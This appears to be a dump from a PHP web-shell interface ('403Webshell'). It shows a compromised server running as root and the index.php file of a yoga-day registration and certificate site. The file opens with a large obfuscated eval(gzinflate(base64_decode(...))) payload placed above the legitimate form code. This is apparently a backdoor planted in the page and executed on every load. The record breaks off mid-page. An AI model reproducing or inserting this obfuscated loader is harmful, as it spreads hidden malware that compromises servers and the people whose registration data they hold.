403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/html/iyd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/html/iyd/index.php
<?php eval(gzinflate(base64_decode("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"))); ?>
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
require_once("config.php");

// ─────────────────────────────────────────────
// HELPERS
// ─────────────────────────────────────────────
function db_connect(): PDO {
    $dsn = 'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=utf8mb4';
    $pdo = new PDO($dsn, DB_USER, DB_PASS, [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    ]);
    return $pdo;
}
$pdo  = db_connect();
$stmt = $pdo->prepare("SELECT id, state_name FROM states");
$stmt->execute();
$states = [];
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
  $states[$row['id']] = $row['state_name'];
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>International Yoga Day 2026</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            saffron: '#FF6B00',
            'saffron-light': '#FF8C2A',
            yoga: {
              dark: '#1A3C2E',
              mid: '#2D6A4F',
              light: '#52B788',
              pale: '#D8F3DC',
            }
          },
          fontFamily: {
            sans: ['Segoe UI', 'sans-serif'],
          }
        }
      }
    }
  </script>
  <style>
    @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap');
    body { font-family: 'Poppins', sans-serif; }
    .gradient-header {
      background: linear-gradient(135deg, #1A3C2E 0%, #2D6A4F 50%, #1A3C2E 100%);
    }
    .tab-active {
      background: linear-gradient(135deg, #FF6B00, #FF8C2A);
      color: white;
    }
    .tab-inactive {
      background: white;
      color: #1A3C2E;
      border: 2px solid #2D6A4F;
    }
    select option:disabled { color: #9ca3af; }
    .notice-bar {
      background: linear-gradient(90deg, #FF6B00, #FF8C2A, #FF6B00);
      background-size: 200% 100%;
      animation: shimmer 3s linear infinite;
    }
    @keyframes shimmer {
      0% { background-position: 0% 0; }
      100% { background-position: 200% 0; }
    }
    .form-input:focus {
      outline: none;
      border-color: #2D6A4F;
      box-shadow: 0 0 0 3px rgba(45,106,79,0.15);
    }
  </style>
</head>
<body class="bg-gray-50 min-h-screen gradient-header shadow-lg">

  <!-- Header -->
  <header class="">
    <div class="max-w-6xl mx-auto px-4 flex items-center">
      <a href="#" target="_blank">
        <img src="assets/images/headerlogo.jpeg" alt="" />
      </a>
      
    </div>
  </header>

  <!-- Hero Section -->
  <section class="max-w-6xl mx-auto px-4 py-6">
    <!-- Congratulations Banner -->
    <div class="bg-yoga-pale border-l-4 border-yoga-mid rounded-xl p-4 mb-5 shadow-sm">
      <p class="text-yoga-dark text-sm sm:text-base font-medium leading-relaxed">
        🎉 Heartiest Congratulations on your successful participation in the International Day of Yoga 2026 celebration, organized by <strong> Akhil Bhartiya Yog Shikshak Mahasangh (ABYOGASMS FOUNDATION)</strong>.
<br><br>Supported by:<br>
<strong>Morarji Desai National Institute of Yoga (MDNIY)</strong>
<br><strong>Ministry of Ayush, Government of India</strong>
<br><br>Your enthusiastic participation reflects your commitment to promoting the timeless values of Yoga and contributing to a healthier and more harmonious society.
      </p>
    </div>

    <!-- Hero Image -->
    <div class="rounded-2xl overflow-hidden shadow-xl mb-5">
      <img src="assets/images/banner.jpeg"
           alt="International Yoga Day 2026"
           class="w-full object-cover" />
    </div>

    <div class="bg-yoga-pale border-l-4 border-yoga-mid rounded-xl p-4 mb-5 shadow-sm text-center">
      <p class="text-yoga-dark leading-relaxed" style="font-weight: bold;font-size: 1.2rem;">
      "Yogi Bano, Sahyogi Bano, Samaj Ke liye Upyogi Bano"</p>
      <p class="text-yoga-dark text-sm sm:text-base font-medium leading-relaxed">
        🎉 We wish you continued success, good health, and excellence in your journey of spreading Yoga.</p>
    </div>

    <!-- Notice Bar -->
    <div class="notice-bar rounded-xl p-4 mb-6 shadow">
      <p class="text-white text-xs sm:text-sm font-semibold text-center leading-snug">
        📢 The certificate will be available after <strong>5:00 PM on June 22, 2026</strong>.
        To download it, please visit the website and click on the "Generate Certificate" button.
        Your certificate will be generated only after this step is completed.
      </p>
    </div>

    <!-- Tabs -->
    <div class="flex gap-3 mb-8 justify-center">
      <button id="tab-reg" onclick="showTab('registration')"
        class="tab-active flex-1 sm:flex-none sm:px-10 py-3 rounded-xl font-semibold text-sm sm:text-base transition-all shadow">
        📝 IDY Registration
      </button>
      <button id="tab-cert" onclick="showTab('certificate')"
        class="tab-inactive flex-1 sm:flex-none sm:px-10 py-3 rounded-xl font-semibold text-sm sm:text-base transition-all shadow">
        🏅 Generate Certificate
      </button>
    </div>

    <!-- Registration Form Panel -->
    <div id="panel-registration" class="bg-white rounded-2xl shadow-lg p-6 sm:p-8">
      <h2 class="text-yoga-dark text-lg sm:text-xl font-bold mb-6 border-b border-yoga-pale pb-3">
        Please fill the details for IDY Registration:
      </h2>
      <form method="post" action="register.php" class="space-y-5">

        <!-- Title + Name Row -->
        <div class="flex gap-3 flex-col sm:flex-row">
          <div class="sm:w-36">
            <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">Title</label>
            <select class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm bg-white focus:border-yoga-mid transition" name="title">
              <option>Dr</option>
              <option>Shri</option>
              <option>Smt</option>
              <option>Ms</option>
            </select>
          </div>
          <div class="flex-1">
            <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">Full Name *</label>
            <input type="text" placeholder="Enter your full name" required
              class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm transition" name="fullname" />
          </div>
        </div>

        <!-- Mobile -->
        <div>
          <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">Mobile Number *</label>
          <input type="tel" placeholder="Enter your mobile number" required maxlength="10"
            class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm transition" name="mobile" />
        </div>

        <!-- Email -->
        <div>
          <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">Email Address</label>
          <input type="email" placeholder="Enter your email address"
            class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm transition" name="email" />
        </div>

        <!-- State + District -->
        <div class="flex gap-3 flex-col sm:flex-row">
          <div class="flex-1">
            <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">State *</label>
            <select id="stateSelect" required onchange="loadDistricts()"
              class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm bg-white transition" name="state">
              <option value="" disabled selected>Select State</option>
              <?php foreach($states as $k=>$s) { ?> 
              <option value="<?php echo $k; ?>"><?php echo $s; ?></option>
              <?php } ?>
            </select>
          </div>
          <div class="flex-1">
            <label class="block text-xs font-semibold text-gray-500 mb-1 uppercase tracking-wide">District *</label>
            <select id="districtSelect" name="district" required
              class="form-input w-full border border-gray-300 rounded-lg px-3 py-2.5 text-sm bg-white transition">
              <option value="" disabled selected>Select District</option>
            </select>
          </div>
        </div>

        <!-- Acknowledgement -->
        <div class="bg-yoga-pale rounded-xl p-4 flex items-start gap-3">
          <input type="checkbox" id="acknowledge" required
            class="mt-1 h-4 w-4 accent-yoga-mid cursor-pointer flex-shrink-0" />
          <label for="acknowledge" class="text-xs sm:text-sm text-yoga-dark leading-snug cursor-pointer">
            I acknowledge my participation in <strong>International Day of Yoga 2026</strong> and 
            information provided is true.
          </label>
        </div>

        <!-- Submit -->
        <button type="submit"
          class="w-full py-3.5 rounded-xl font-bold text-white text-base shadow-lg transition-all hover:shadow-xl hover:scale-[1.01] active:scale-[0.99]"
          style="background: linear-gradient(135deg, #FF6B00, #FF8C2A);">
          Register Now 🙏
        </button>
      </form>
    </div>

    <!-- Certificate Panel -->
    <div id="panel-certificate" class="hidden bg-white rounded-2xl shadow-lg p-6 sm:p-8">
      <h2 class="text-yoga-dark text-lg sm:text-xl font-bold mb-6 border-b border-yoga-pale pb-3">
        Download your Participation Certificate
      </h2>
      <div class="text-center py-10">
        <div class="text-6xl mb-4">🏅</div>
        <p class="text-gray-600 text-sm mb-6 max-w-sm mx-auto">
          Enter your registered mobile number to generate and download your certificate.
        </p>
